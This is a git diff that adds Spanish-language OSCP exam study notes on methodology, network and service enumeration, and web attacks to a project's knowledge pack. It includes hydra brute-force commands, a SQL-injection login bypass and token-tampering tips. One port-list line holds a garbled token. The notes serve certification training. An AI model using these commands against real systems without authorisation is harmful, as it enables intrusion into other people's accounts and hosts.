diff --git a/docs/rag.md b/docs/rag.md
index ecf0f15..833b84d 100644
--- a/docs/rag.md
+++ b/docs/rag.md
@@ -87,12 +87,15 @@ forma de medirlo— sí está; el corpus lo pone cada quien con sus notas.
 |---|---|
 | El código: `indexa`, `busca`, `glosario`, `sistema`, `enriquece/` | **sí** |
 | El eval (`enriquece/eval_set.jsonl`) | **sí** |
-| El glosario de tareas de Linux en castellano (`glosario.py`) | **sí** (es conocimiento genérico, no personal) |
-| El índice (`saber.jsonl`) y sus copias | **no** — los apuntes |
+| El glosario de tareas de Linux en castellano (`glosario.py`) | **sí** (genérico) |
+| **El pack de metodología** (`saber/conocimiento/`, ~73 docs) | **sí** — limpio y genérico |
+| El índice (`saber.jsonl`) y sus copias | **no** — los apuntes indexados |
 | El diario (`diario.jsonl`) | **no** — las conversaciones |
 | Lo derivado (`cosecha.jsonl`, `sintesis.jsonl`) | **no** — salen de los apuntes |
 
-Un detalle útil: `indexa.py` en un equipo recién clonado ya construye un índice
-**útil sin ningún dato privado** —de las *man pages* del sistema y del glosario—,
-así que se puede ver el RAG funcionando de inmediato; los apuntes de COFRE solo
-lo enriquecen si los tienes.
+Así que un equipo recién clonado, con `indexa.py`, construye un índice **útil sin
+ningún dato privado**: las *man pages*, el glosario, y **el pack de metodología**
+(`saber/conocimiento/`) —enumeración, explotación web, shells, privesc, Active
+Directory, cheatsheets...— con los comandos de verdad. Son apuntes propios estilo
+OSCP, scrubeados de hosts, credenciales y rutas. Los apuntes privados del usuario
+(su `saber.jsonl`, su diario) siguen fuera; el pack los complementa.
diff --git a/nucleo/saber/conocimiento/00 - Metodologia/Estructura del examen.md b/nucleo/saber/conocimiento/00 - Metodologia/Estructura del examen.md
new file mode 100644
index 0000000..6ea6800
--- /dev/null
+++ b/nucleo/saber/conocimiento/00 - Metodologia/Estructura del examen.md	
@@ -0,0 +1,23 @@
+# Estructura del examen
+
+> 24h de máquinas + 24h para el Reporte OSCP. 70/100 puntos para aprobar.
+
+## Composición
+- **Set de Active Directory = 40 puntos seguidos.**
+  - 3 máquinas **encadenadas**. Si te atascas en la máquina 1, no avanzas a 2 y 3.
+  - **Empieza por aquí con tiempo.** Es todo-o-nada por cadena.
+  - Ver Active Directory para el flujo completo.
+- **3 standalones independientes**, 20 pts cada una.
+  - `user` (10 pt = `local.txt`) + `root/system` (10 pt = `proof.txt`).
+  - **Saca el `user` de las 3 ANTES** de obsesionarte con el root de una.
+
+## Pruebas (flags)
+- `local.txt` = prueba de usuario.
+- `proof.txt` = prueba de root/SYSTEM.
+- Cada flag con el **hostname visible** (`ipconfig` / `ifconfig`) en la captura.
+
+## Anti-pánico
+- Ver Gestión del tiempo y Trampas de enumeración.
+- Sin Reporte OSCP **no apruebas**, aunque saques 100 puntos técnicos.
+
+Relacionado: Metodología OSCP · Reglas de herramientas · OSCP MOC
diff --git a/nucleo/saber/conocimiento/00 - Metodologia/Gestión del tiempo.md b/nucleo/saber/conocimiento/00 - Metodologia/Gestión del tiempo.md
new file mode 100644
index 0000000..01cd21d
--- /dev/null
+++ b/nucleo/saber/conocimiento/00 - Metodologia/Gestión del tiempo.md	
@@ -0,0 +1,19 @@
+# Gestión del tiempo
+
+> 24h ≠ 24h. **Duermes 6h. Comes. Te duchas.** El cerebro fresco resuelve; el cansado entra en rabbit-holes.
+
+## Reglas
+- **1.5h sin progreso = cambia de máquina.** Cierra, vuelve más tarde con cabeza fresca.
+- Empieza por el **set de AD** (40 pts) con tiempo → ver Estructura del examen.
+- Saca **todos los `user`** antes de pelear un root concreto.
+- Vigila el Egress filtering pronto: descubrir tarde que un puerto está bloqueado cuesta horas.
+
+## Documentación en vivo
+- Captura **TODO** mientras lo haces (Flameshot/Greenshot), **no al final** — al final no recuerdas el comando exacto.
+- Cada flag con hostname visible. Ver Reporte OSCP.
+
+## Anti rabbit-hole
+- Enumeración exhaustiva primero, luego un vector a la vez → Trampas de enumeración.
+- Si un vector "tiene que funcionar" y llevas 1h, probablemente es un señuelo.
+
+Relacionado: Metodología OSCP · OSCP MOC
diff --git a/nucleo/saber/conocimiento/00 - Metodologia/Metodología OSCP.md b/nucleo/saber/conocimiento/00 - Metodologia/Metodología OSCP.md
new file mode 100644
index 0000000..552570b
--- /dev/null
+++ b/nucleo/saber/conocimiento/00 - Metodologia/Metodología OSCP.md	
@@ -0,0 +1,26 @@
+# Metodología OSCP
+
+> El truco real del OSCP no es saber 200 técnicas, es tener una **metodología repetible**.
+> La gente suspende por **saltarse pasos** o por **obsesionarse con un vector**, no por desconocimiento técnico.
+
+## El bucle
+```
+Enumeración exhaustiva → vector → foothold →
+PrivEsc con script automatizado + revisión manual →
+documentar antes de pasar a la siguiente máquina
+```
+
+## Pasos
+1. **Enumera a fondo** → Enumeración (no asumas nada, mira Puertos olvidados).
+2. **Encuentra el vector** → web (Enumeración web, SQL injection, LFI a RCE, File upload bypass) o servicio.
+3. **Foothold** → Reverse shell estabilizada (Estabilizar shell TTY).
+4. **Privesc** → script automatizado (PEASS-ng) **+** revisión manual (Privesc Linux / Privesc Windows).
+5. **Loot y pivot** → Mimikatz, Movimiento lateral, Active Directory.
+6. **Documenta EN VIVO** → Reporte OSCP.
+
+## Reglas de oro
+- **Reutiliza credenciales** siempre: una pass de un user suele valer en otros hosts y servicios.
+- **1.5h sin progreso = cambia de máquina** (ver Gestión del tiempo).
+- Captura todo mientras lo haces, no al final.
+
+Relacionado: Estructura del examen · Reglas de herramientas · OSCP MOC
diff --git a/nucleo/saber/conocimiento/00 - Metodologia/Reglas de herramientas.md b/nucleo/saber/conocimiento/00 - Metodologia/Reglas de herramientas.md
new file mode 100644
index 0000000..f5826d4
--- /dev/null
+++ b/nucleo/saber/conocimiento/00 - Metodologia/Reglas de herramientas.md	
@@ -0,0 +1,25 @@
+# Reglas de herramientas (examen)
+
+> Qué puedes y qué no puedes usar en el examen OSCP.
+
+## ✅ Permitido
+- Nmap + NSE, `enum4linux`, `smbclient`, `rpcclient`, NetExec/CrackMapExec (SMB).
+- Mimikatz, Impacket, BloodHound, Pivoting ligolo-ng.
+- `nikto`, `whatweb`, searchsploit, `hydra`, gobuster/feroxbuster/ffuf (Content discovery).
+- Burp Suite Community (proxy manual; el scanner activo está prohibido, pero no lo necesitas).
+- **Tus propios scripts** (copy-paste permitido).
+
+## ⛔ Prohibido
+- **Metasploit / Meterpreter → solo en UNA máquina.**
+  - Solo el **foothold inicial** cuenta como "uso"; post-explotación con meterpreter NO cuenta.
+- Explotación automática: `sqlmap` en modo auto, autopwn.
+- Escáneres de vulnerabilidades masivos: **Nessus, OpenVAS, Nexpose, Core Impact**.
+- IA durante el examen.
+
+## Nota práctica
+Nessus se aprende para el **trabajo real** (es estándar), pero en el examen se replica a mano:
+```
+nmap -sV  →  searchsploit  →  nmap --script vuln / nikto
+```
+
+Relacionado: Estructura del examen · Metodología OSCP · OSCP MOC
diff --git a/nucleo/saber/conocimiento/00 - Metodologia/Reporte OSCP.md b/nucleo/saber/conocimiento/00 - Metodologia/Reporte OSCP.md
new file mode 100644
index 0000000..9903c34
--- /dev/null
+++ b/nucleo/saber/conocimiento/00 - Metodologia/Reporte OSCP.md	
@@ -0,0 +1,20 @@
+# Reporte OSCP
+
+> **Sin reporte no apruebas**, aunque saques 100 puntos técnicos. Se entrega hasta 24h después del examen.
+
+## Qué necesitas capturar EN VIVO
+- Cada comando exacto (no lo recordarás al final).
+- Cada flag con el **hostname visible** en la misma captura (`ipconfig`/`ifconfig`).
+- `local.txt` (user) y `proof.txt` (root/SYSTEM) de cada máquina.
+- Pasos reproducibles: alguien debe poder repetir tu intrusión leyendo el reporte.
+
+## Plantilla
+- Markdown: `noraj/OSCP-Exam-Report-Template-Markdown`
+  → https://github.com/noraj/OSCP-Exam-Report-Template-Markdown
+
+## Flujo recomendado
+1. Documenta **antes** de pasar a la siguiente máquina (Metodología OSCP).
+2. Una carpeta por host con capturas + comandos.
+3. Al acabar, montas el reporte sobre esas notas.
+
+Relacionado: Estructura del examen · Gestión del tiempo · Recursos públicos · OSCP MOC
diff --git a/nucleo/saber/conocimiento/01 - Enumeracion/Enumeración web.md b/nucleo/saber/conocimiento/01 - Enumeracion/Enumeración web.md
new file mode 100644
index 0000000..dbf0dc8
--- /dev/null
+++ b/nucleo/saber/conocimiento/01 - Enumeracion/Enumeración web.md	
@@ -0,0 +1,30 @@
+# Enumeración web
+
+> Puertos 80/443/8080. El vector web es el foothold más común en standalones. Parte de Enumeración.
+> Para la **metodología de ataque** (qué probar en cada input) ve a Hacking web; aquí solo enumeras.
+
+## Primero, lo manual
+```
+Ctrl+U siempre      → comentarios con creds, paths, endpoints
+JS embebidos        → APIs ocultas (LinkFinder, JSparser)
+robots.txt          → perezoso; mira también:
+  sitemap.xml, .git/, .svn/, .htaccess, .DS_Store,
+  backup/, old/, dev/, test/, admin/
+```
+
+## Fuzzing de contenido
+Brute force de rutas/ficheros con gobuster/feroxbuster/ffuf → nota dedicada: Content discovery.
+- Hostnames/vhosts → Vhosts y subdominios.
+- Intercepta y manipula todo con Burp Suite.
+
+## Identificar
+```bash
+whatweb http://IP
+nikto -h http://IP
+```
+CMS detectado → `wpscan`, `cmsmap`, `searchsploit <cms>`.
+
+## Vectores típicos
+Todos en Hacking web: SQL injection · Command injection · Directory traversal · LFI a RCE · File upload bypass · XSS · SSTI · Authentication attacks.
+
+Relacionado: Content discovery · Trampas de enumeración · Recursos públicos · OSCP MOC
diff --git a/nucleo/saber/conocimiento/01 - Enumeracion/Enumeración.md b/nucleo/saber/conocimiento/01 - Enumeracion/Enumeración.md
new file mode 100644
index 0000000..4692d26
--- /dev/null
+++ b/nucleo/saber/conocimiento/01 - Enumeracion/Enumeración.md	
@@ -0,0 +1,24 @@
+# Enumeración (índice)
+
+> "Enumeración exhaustiva" es el paso 1 de la Metodología OSCP y donde más gente pierde horas.
+> La mayoría de los fallos del examen son enumeración incompleta, no falta de técnica.
+
+## Flujo
+1. **Mi IP / red** → `ip a | grep "inet "` (el 3er octeto del lab **cambia** al reiniciar).
+2. **Descubrimiento de hosts** → ping/ARP sweep (Nmap).
+3. **Escaneo de puertos** → top-1000 **y** `-p-` completo (Puertos olvidados).
+4. **Por servicio**:
+   - 445 → SMB
+   - UDP 161 → SNMP
+   - 80/443 → Enumeración web + Content discovery + Hacking web
+   - 3389 → RDP
+   - texto plano (!OS-57179836-OSCP.ovpn25, 110...) → Netcat
+1. **Scripts NSE** → Nmap NSE (`-sCV`, `--script vuln`).
+2. **Versión + exploits** → `nmap -sV` → searchsploit.
+
+## No olvides
+- Trampas de enumeración (UDP, puertos altos, vhosts, wordlists pequeñas).
+- Automatiza con Bucles bash sobre IPs.
+- La web es su propio mundo → Hacking web.
+
+Relacionado: Operadores Bash · OSCP MOC
diff --git a/nucleo/saber/conocimiento/01 - Enumeracion/Netcat.md b/nucleo/saber/conocimiento/01 - Enumeracion/Netcat.md
new file mode 100644
index 0000000..c6c8d26
--- /dev/null
+++ b/nucleo/saber/conocimiento/01 - Enumeracion/Netcat.md	
@@ -0,0 +1,21 @@
+# Netcat (recon)
+
+> Solo para protocolos de **texto**: SMTP, HTTP, POP3... Para shells ver Reverse shell y Egress filtering.
+
+## Conexión y escaneo
+```bash
+nc -nv IP PUERTO     # interactivo (host y puerto con ESPACIO, NO ":")
+nc -nvz IP 1-1000    # modo scan (-z): solo comprueba si abre
+nc -nvz -u IP 161    # UDP (poco fiable → mejor SNMP dedicado)
+```
+- **OJO**: `nc IP:PUERTO` = MAL. `-p` es puerto **origen**, no destino.
+- SNMP/SMB/DNS son **binarios** → netcat NO sirve, usa la herramienta dedicada.
+
+## SMTP a mano (enumerar usuarios)
+```bash
+nc -nv IP 25
+VRFY root     # 250 existe / 252 Postfix no confirma / 550 no existe
+QUIT
+```
+
+Relacionado: Operadores Bash · Enumeración · OSCP MOC
diff --git a/nucleo/saber/conocimiento/01 - Enumeracion/Nmap NSE.md b/nucleo/saber/conocimiento/01 - Enumeracion/Nmap NSE.md
new file mode 100644
index 0000000..0548451
--- /dev/null
+++ b/nucleo/saber/conocimiento/01 - Enumeracion/Nmap NSE.md	
@@ -0,0 +1,41 @@
+# Nmap NSE (scripts)
+
+> El motor de scripts de Nmap: enumeración profunda y detección de vulns sin herramientas extra. Scripts en `/usr/share/nmap/scripts/`.
+
+## El comando que usas siempre
+```bash
+sudo nmap -sCV -p- IP        # -sCV = -sC (scripts default) + -sV (versión)
+# patrón real de tu history_contabo.txt:
+nmap IP -p- -Pn --min-rate 5000 -vvv -n --open     # rápido todos los puertos
+nmap -p- localhost -sCV                            # luego versión+scripts sobre lo abierto
+```
+Flujo típico: 1) `-p- --open` rápido para ver QUÉ abre → 2) `-sCV` dirigido a esos puertos.
+
+## Categorías de scripts
+```
+default (-sC)  los seguros y útiles por defecto
+vuln           comprueba vulnerabilidades conocidas
+safe / auth    no intrusivos / temas de autenticación
+brute          fuerza bruta de credenciales
+discovery      enumeración (snmp, smb, http...)
+```
+
+## Por servicio (muy rentable)
+```bash
+nmap -p80,443 --script http-enum,http-title,http-headers IP   # web → Enumeración web
+nmap -p445 --script smb-os-discovery,smb-enum-shares,smb-enum-users IP  # SMB
+nmap -p161 -sU --script snmp-info IP                           # SNMP
+nmap -p21 --script ftp-anon IP                                # FTP anónimo
+nmap --script vuln IP                                         # barrido de vulns
+```
+
+## Gestionar scripts
+```bash
+nmap --script-help http-enum     # qué hace un script
+ls /usr/share/nmap/scripts | grep smb   # listar los disponibles
+```
+
+## A través de un túnel
+`proxychains nmap ...` (de tu history) para escanear la red interna tras Pivoting ligolo-ng (usa `-sT -Pn`, SYN no pasa por proxychains).
+
+Relacionado: searchsploit · Puertos olvidados · OSCP MOC
diff --git a/nucleo/saber/conocimiento/01 - Enumeracion/Nmap.md b/nucleo/saber/conocimiento/01 - Enumeracion/Nmap.md
new file mode 100644
index 0000000..e177f7f
--- /dev/null
+++ b/nucleo/saber/conocimiento/01 - Enumeracion/Nmap.md	
@@ -0,0 +1,38 @@
+# Nmap
+
+> `-sS` = TCP SYN · `-sU` = UDP · `-sV` = versión. Parte de Enumeración.
+
+## Descubrimiento de hosts
+```bash
+sudo nmap -sn 192.168.X.0/24            # ping sweep: quién está vivo
+sudo nmap -sn -PR 192.168.X.0/24        # ARP (LAN, el más fiable)
+sudo nmap -sn -PS21,22,25,80,445 IP/24  # TCP discovery si ICMP filtrado
+```
+
+## Escaneo de puertos
+```bash
+sudo nmap -sS 192.168.X.0/24 -oG full.txt      # SYN top-1000, greppable
+sudo nmap -p- -Pn --min-rate 5000 -n --open IP  # TODOS los 65535, solo abiertos → Puertos olvidados
+sudo nmap -sU --top-ports 50 -T4 IP            # UDP (SNMP/TFTP/NTP)
+sudo nmap -sCV -p 22,80,445 IP                  # versión + scripts default → Nmap NSE
+sudo nmap -p80 --script vuln IP                 # NSE de vulnerabilidades
+```
+
+## El combo de dos pasos (patrón real)
+```bash
+nmap -p- -Pn --min-rate 5000 -n --open IP   # 1) rápido: ¿qué puertos abren?
+nmap -sCV -p 22,80,445 IP                    # 2) dirigido: versión+scripts sobre esos
+```
+`-sCV` = `-sC` (scripts default) + `-sV` (versión). Luego `searchsploit` por versión → searchsploit.
+
+## Salida
+- `-oN` normal (legible, los NSE salen aquí) · `-oG` greppable (1 línea/host, ideal `grep`) · `-oA` los 3.
+- Greppeo de resultados → Bucles bash sobre IPs.
+
+## Trampas
+- El top-1000 **ya** incluye 80/443/22/445. Si `grep` no saca nada y el scan cubría el puerto → **la máquina no está viva**, no es el scan.
+- `filtered ≠ open` (firewall/sin respuesta).
+- `-Pn` en un /24 = ruido (256 hosts "up" falsos). `-Pn` es para **1 host concreto**.
+- Confusión clásica: **SNMP = UDP/161 (`-sU`)**, **SMTP = TCP/25 (`-sS`)**.
+
+Relacionado: Nmap NSE · searchsploit · Trampas de enumeración · SMB · OSCP MOC
diff --git a/nucleo/saber/conocimiento/01 - Enumeracion/Puertos olvidados.md b/nucleo/saber/conocimiento/01 - Enumeracion/Puertos olvidados.md
new file mode 100644
index 0000000..594f9b7
--- /dev/null
+++ b/nucleo/saber/conocimiento/01 - Enumeracion/Puertos olvidados.md	
@@ -0,0 +1,21 @@
+# Puertos olvidados
+
+> Donde la gente pierde 4 horas: escanear solo el top-1000 TCP. Parte de Trampas de enumeración.
+
+## UDP (casi siempre olvidado)
+```bash
+nmap -sU --top-ports 50 -T4 IP
+```
+- **SNMP (161)**, TFTP (69), NTP (123) suelen dar oro → ver SNMP.
+
+## Puertos altos TCP
+```bash
+nmap -p- --min-rate=5000 IP    # los 65535, no solo top-1000
+```
+- Servicios escondidos en puertos raros (8080, 50000+...).
+
+## Por qué importa
+- Nmap por defecto escanea **solo top-1000 TCP**. Un servicio vulnerable en el 54321 es invisible si no haces `-p-`.
+- Regla: **siempre** un `-p-` completo además del rápido.
+
+Relacionado: Nmap · Enumeración · OSCP MOC
diff --git a/nucleo/saber/conocimiento/01 - Enumeracion/RDP.md b/nucleo/saber/conocimiento/01 - Enumeracion/RDP.md
new file mode 100644
index 0000000..fd655bc
--- /dev/null
+++ b/nucleo/saber/conocimiento/01 - Enumeracion/RDP.md	
@@ -0,0 +1,16 @@
+# RDP
+
+> Escritorio remoto Windows (3389). **Acceso legítimo** con credenciales: no necesita Reverse shell.
+
+```bash
+xfreerdp /u:student /p:lab /v:IP /cert:ignore /clipboard
+xfreerdp3 ...   # si la versión nueva
+```
+- `/clipboard` = **copiar-pegar entre Kali y Windows** (clave para subir scripts/payloads).
+- `/cert:ignore` = no protestar por el certificado del lab.
+
+## Cuándo
+- Cuando consigues credenciales válidas (reutilización, Mimikatz, GPP cpassword) y la máquina expone 3389.
+- GUI cómoda para Privesc Windows y para ejecutar PEASS-ng.
+
+Relacionado: SMB · Movimiento lateral · OSCP MOC
diff --git a/nucleo/saber/conocimiento/01 - Enumeracion/SMB.md b/nucleo/saber/conocimiento/01 - Enumeracion/SMB.md
new file mode 100644
index 0000000..48a7a3a
--- /dev/null
+++ b/nucleo/saber/conocimiento/01 - Enumeracion/SMB.md	
@@ -0,0 +1,30 @@
+# SMB
+
+> Puerto **445** — oro en Active Directory. Parte de Enumeración.
+
+## Listar shares y usuarios
+```bash
+smbclient -L //IP/ -N                 # shares con sesión nula (OJO: trunca comentarios)
+smbclient //IP/share -N               # entrar (ls, get, !cat)
+smbclient -L //IP/ -U usuario         # con credenciales
+rpcclient -U "" -N IP -c "netshareenumall"  # shares + remark COMPLETO (no trunca)
+rpcclient -U "" -N IP -c "enumdomusers"     # usuarios de dominio (SAM)
+enum4linux -a IP                      # TODO (pilla users UNIX locales por RID cycling)
+nxc smb IP -u '' -p '' --shares --users     # NetExec (sucesor de CrackMapExec)
+```
+
+## Desde Windows
+```cmd
+net view \\dc01 /all   :: shares incl. ocultos. Admin shares: ADMIN$, C$, IPC$
+```
+
+## Trampas
+- `smbclient -L` **trunca** comentarios → usa `rpcclient netshareenumall` para el `remark` completo.
+- Usuarios UNIX locales (`S-1-22-1`) solo los pilla `enum4linux -a` (RID cycling), **no** `enumdomusers`.
+- Automatiza la red entera con Bucles bash sobre IPs.
+
+## Sesión nula → siguiente paso
+Usuarios válidos → AS-REP Roasting, Kerberoasting, spraying (Pass-the-Hash).
+Shares con `Groups.xml` → GPP cpassword.
+
+Relacionado: SNMP · Active Directory · OSCP MOC
diff --git a/nucleo/saber/conocimiento/01 - Enumeracion/SNMP.md b/nucleo/saber/conocimiento/01 - Enumeracion/SNMP.md
new file mode 100644
index 0000000..eebabc0
--- /dev/null
+++ b/nucleo/saber/conocimiento/01 - Enumeracion/SNMP.md	
@@ -0,0 +1,23 @@
+# SNMP
+
+> Puerto **UDP 161** (Simple Network Management Protocol). Recuérdalo: es **UDP** (`nmap -sU`), no TCP. Parte de Puertos olvidados.
+
+## Herramientas
+```bash
+onesixtyone -c comm.txt IP/24      # descubre SNMP + fuerza community a la vez
+snmpwalk -v2c -c public IP OID     # recorre el árbol de OIDs
+snmp-check IP -c public            # enumeración bonita y ordenada
+snmpwalk -v2c -c public -Oa IP OID # -Oa = traduce hex a ASCII
+```
+
+## OIDs útiles (numéricos, no dependen de MIBs instalados)
+```
+1.3.6.1.2.1.25.4.2.1.2    Procesos en ejecución (hrSWRunName)
+1.3.6.1.2.1.25.6.3.1.2    Software instalado
+1.3.6.1.2.1.2.2.1.2       Nombres de interfaces de red (ifDescr)
+1.3.6.1.4.1.77.1.2.25     Usuarios Windows
+```
+- OID = dirección jerárquica: `iso(1).org(3).dod(6).internet(1)...`
+- Prefijo `1.3.6.1.2.1` (mib-2) es fijo; cambian los números del final.
+
+Relacionado: Nmap · SMB · Enumeración · OSCP MOC
diff --git a/nucleo/saber/conocimiento/01 - Enumeracion/Trampas de enumeración.md b/nucleo/saber/conocimiento/01 - Enumeracion/Trampas de enumeración.md
new file mode 100644
index 0000000..fe98070
--- /dev/null
+++ b/nucleo/saber/conocimiento/01 - Enumeracion/Trampas de enumeración.md	
@@ -0,0 +1,21 @@
+# Trampas de enumeración
+
+> Donde la gente pierde 4 horas. Anti-rabbit-hole. Conecta con Gestión del tiempo.
+
+## El catálogo
+- **Olvidar UDP** → SNMP (161), TFTP, NTP. Ver Puertos olvidados.
+- **Olvidar puertos altos** → `nmap -p- --min-rate=5000`. Ver Puertos olvidados.
+- **Olvidar vhosts/subdominios** → Vhosts y subdominios.
+- **`/etc/hosts` no actualizado** → añade el dominio en cuanto aparezca.
+- **Wordlists pequeñas** → `common.txt` es junior; usa `raft-large` / `directory-list-2.3-medium`.
+
+## Trampas que cuestan horas (del lab real)
+- **IP del lab dinámica**: el 3er octeto cambia al reiniciar (`.55 .65 .67...`). Haz `ip a` **antes** de escanear.
+- `filtered ≠ open` (firewall/sin respuesta).
+- `-Pn` en /24 = 256 "up" falsos. Úsalo solo en **1 host**.
+- Si `grep` no saca nada y el scan cubría el puerto → **la máquina no está viva**.
+- **SNMP=UDP/161**, **SMTP=TCP/25**. No confundir.
+- `smbclient -L` **trunca** comentarios → usa `rpcclient netshareenumall` (SMB).
+- Flags placeholder tipo `OS{0123456789abcdef}` = **señuelo** (grupo/recurso equivocado).
+
+Relacionado: Nmap · Enumeración · Metodología OSCP · OSCP MOC
diff --git a/nucleo/saber/conocimiento/01 - Enumeracion/Vhosts y subdominios.md b/nucleo/saber/conocimiento/01 - Enumeracion/Vhosts y subdominios.md
new file mode 100644
index 0000000..5497e02
--- /dev/null
+++ b/nucleo/saber/conocimiento/01 - Enumeracion/Vhosts y subdominios.md	
@@ -0,0 +1,21 @@
+# Vhosts y subdominios
+
+> Si te encuentras una "default Apache page", probablemente hay **virtual hosts** ocultos. Parte de Trampas de enumeración.
+
+## Fuzzear vhosts
+```bash
+gobuster vhost -u http://IP -w /usr/share/seclists/Discovery/DNS/...
+ffuf -H "Host: FUZZ.objetivo.htb" -u http://IP
+```
+
+## /etc/hosts
+- Si la web carga rara o redirige, mira el header `Host:`.
+- **Añade el dominio a `/etc/hosts` SIEMPRE** que aparezca un hostname.
+
+## HTTPS revela hostnames
+```bash
+openssl s_client -connect IP:443
+```
+- El **certificado** te puede chivar el dominio real (CN / SAN).
+
+Relacionado: Enumeración web · Nmap · OSCP MOC
diff --git a/nucleo/saber/conocimiento/01 - Enumeracion/searchsploit.md b/nucleo/saber/conocimiento/01 - Enumeracion/searchsploit.md
new file mode 100644
index 0000000..9cb2c27
--- /dev/null
+++ b/nucleo/saber/conocimiento/01 - Enumeracion/searchsploit.md	
@@ -0,0 +1,38 @@
+# searchsploit
+
+> Buscador **offline** de Exploit-DB. El puente entre `nmap -sV` y la explotación. Copia local en `tu carpeta` (symlink en `tu carpeta`).
+
+## El workflow OSCP
+```
+Nmap -sV  →  identificas servicio + VERSIÓN  →  searchsploit  →  explotas
+```
+Sustituye a los escáneres de vulns prohibidos (Reglas de herramientas).
+
+## Buscar
+```bash
+searchsploit apache 2.4.49           # servicio + versión EXACTA
+searchsploit -t wordpress            # -t = solo en el título (menos ruido)
+searchsploit "vsftpd 2.3.4"
+searchsploit --nmap scan.xml         # ¡toma un nmap -oX y busca por ti!
+```
+- Quita la versión si no sale nada (a veces el exploit es genérico).
+- Usa términos cortos: `searchsploit drupal` mejor que la cadena entera.
+
+## Examinar y copiar
+```bash
+searchsploit -x 50383                # ver el exploit (path por EDB-ID)
+searchsploit -m 50383                # MIRROR: lo copia a tu carpeta actual
+searchsploit -p 50383                # solo imprime la ruta
+searchsploit -u                      # actualizar la base
+```
+
+## Antes de lanzar un exploit (¡importante!)
+1. **Léelo entero.** Hay PoCs **maliciosos/falsos** que te hackean a ti.
+2. Edita lo obvio: IP/puerto del atacante, offsets, URL objetivo, shellcode.
+3. Si es C: `gcc exploit.c -o exploit` (a veces flags raras, vienen en el comentario).
+4. Si es Python2 antiguo, ojo con `print`/sockets.
+
+## Después
+RCE → Reverse shell. Si es local privesc → mira primero PEASS-ng y Privesc Linux / Privesc Windows (kernel exploit = último recurso).
+
+Relacionado: Exploits conocidos · Nmap NSE · Enumeración · OSCP MOC
diff --git a/nucleo/saber/conocimiento/02 - Explotacion web/Authentication attacks.md b/nucleo/saber/conocimiento/02 - Explotacion web/Authentication attacks.md
new file mode 100644
index 0000000..898721a
--- /dev/null
+++ b/nucleo/saber/conocimiento/02 - Explotacion web/Authentication attacks.md	
@@ -0,0 +1,34 @@
+# Authentication attacks
+
+> Romper logins web: credenciales por defecto, fuerza bruta y bypass. Casi siempre el primer intento en Hacking web.
+
+## 1. Lo gratis primero
+- **Credenciales por defecto**: `admin:admin`, `admin:password`, `root:root`, las del CMS/producto (búscalas: `searchsploit <producto>` o Google).
+- **Reutilización**: cualquier credencial que pillaste antes (Metodología OSCP).
+
+## 2. Fuerza bruta con hydra
+```bash
+# Formulario POST: necesitas el campo y el mensaje de fallo
+hydra -l admin -P /usr/share/wordlists/rockyou.txt IP http-post-form \
+  "/login.php:user=^USER^&pass=^PASS^:Invalid credentials"
+# HTTP Basic Auth:
+hydra -L users.txt -P pass.txt IP http-get /admin
+# SSH (si hay user válido):
+hydra -l bob -P rockyou.txt ssh://IP
+```
+- El `:F=mensaje` o `:S=éxito` es lo que distingue fallo de acierto → cógelo en Burp Repeater e Intruder.
+
+## 3. Wordlists a medida
+```bash
+cewl http://IP -w custom.txt          # palabras de la propia web
+# combinar con reglas de hashcat / variaciones
+```
+
+## 4. Bypass (no fuerza bruta)
+- **SQLi en el login** → `' OR '1'='1'-- -` → SQL injection.
+- **Cookies/roles manipulables**: `isAdmin=false` → `true`, `role=user` → `admin` (en Burp Suite).
+- **JWT**: alg `none`, secreto débil (`jwt_tool`, crackeo con rockyou).
+- **IDOR**: cambia `?id=1` por `?id=2` y accedes a datos de otro.
+- **Cookie/sesión robada** vía XSS.
+
+Relacionado: Burp Repeater e Intruder · SQL injection · OSCP MOC
diff --git a/nucleo/saber/conocimiento/02 - Explotacion web/Burp Repeater e Intruder.md b/nucleo/saber/conocimiento/02 - Explotacion web/Burp Repeater e Intruder.md
new file mode 100644
index 0000000..4cc98ad
--- /dev/null
+++ b/nucleo/saber/conocimiento/02 - Explotacion web/Burp Repeater e Intruder.md	
@@ -0,0 +1,26 @@
+# Burp Repeater e Intruder
+
+> Las dos pestañas de trabajo de Burp Suite: **Repeater** para probar a mano, **Intruder** para automatizar.
+
+## Repeater (manual, tu favorito en OSCP)
+- `Ctrl+R` envía una petición capturada aquí.
+- Editas cualquier parte (param, header, cookie, body) y **Send** → ves la respuesta al instante.
+- Ideal para iterar payloads de SQL injection, Command injection, SSTI, Directory traversal sin recargar el navegador.
+- Flujo: marca la petición sospechosa → `Ctrl+R` → prueba `'`, luego `' OR 1=1-- -`, observa el cambio.
+
+## Intruder (automatizar payloads)
+- `Ctrl+I` envía aquí. Marcas **posiciones** con `Add §` (Burp pone `§payload§`).
+- Tipos de ataque:
+```
+Sniper        → 1 lista, 1 posición a la vez   (fuzzing de un parámetro)
+Battering ram → 1 lista, misma en todas las posiciones
+Pitchfork     → N listas en paralelo (user[1]+pass[1], user[2]+pass[2]...)
+Cluster bomb  → todas las combinaciones (user × pass) → fuerza bruta de login
+```
+- **Community va ralentizado** (throttle). Para fuerza bruta seria de login usa **hydra**; para fuzzing de rutas/params usa **ffuf** → Content discovery.
+
+## Cuándo cada uno
+- ¿Una petición, muchas variantes a ojo? → **Repeater**.
+- ¿Misma petición, cientos de payloads? → **Intruder** (o ffuf/hydra si Community se queda corto).
+
+Relacionado: Burp Suite · Authentication attacks · OSCP MOC
diff --git a/nucleo/saber/conocimiento/02 - Explotacion web/Burp Suite.md b/nucleo/saber/conocimiento/02 - Explotacion web/Burp Suite.md
new file mode 100644
index 0000000..288ee50
--- /dev/null
+++ b/nucleo/saber/conocimiento/02 - Explotacion web/Burp Suite.md	
@@ -0,0 +1,39 @@
+# Burp Suite
+
+> El proxy de interceptación: se pone **entre tu navegador y la web** para ver y **modificar** cada petición. La herramienta nº1 del Hacking web. Instalado en `tu carpeta`.
+
+## Arrancar
+```bash
+tu carpeta
+# o:  java -jar tu carpeta
+```
+
+## Montar el proxy (lo primero)
+1. Navegador → proxy `127.0.0.1:8080` (usa **FoxyProxy** para alternar rápido).
+2. Instala el certificado CA de Burp: visita `http://burp` → *CA Certificate* → impórtalo en el navegador (sin esto, HTTPS da error).
+3. O usa el **navegador embebido** de Burp (Proxy → Open Browser), ya viene configurado.
+
+## Las pestañas que usarás
+```
+Proxy    → Intercept ON/OFF. Capturas y reenvías/modificas peticiones.
+Target   → Site map: el árbol de todo lo que has visitado.
+Repeater → reenviar UNA petición tweakeándola → Burp Repeater e Intruder
+Intruder → automatizar payloads (fuzzing, fuerza bruta) → Burp Repeater e Intruder
+Decoder  → URL/base64/hex encode-decode
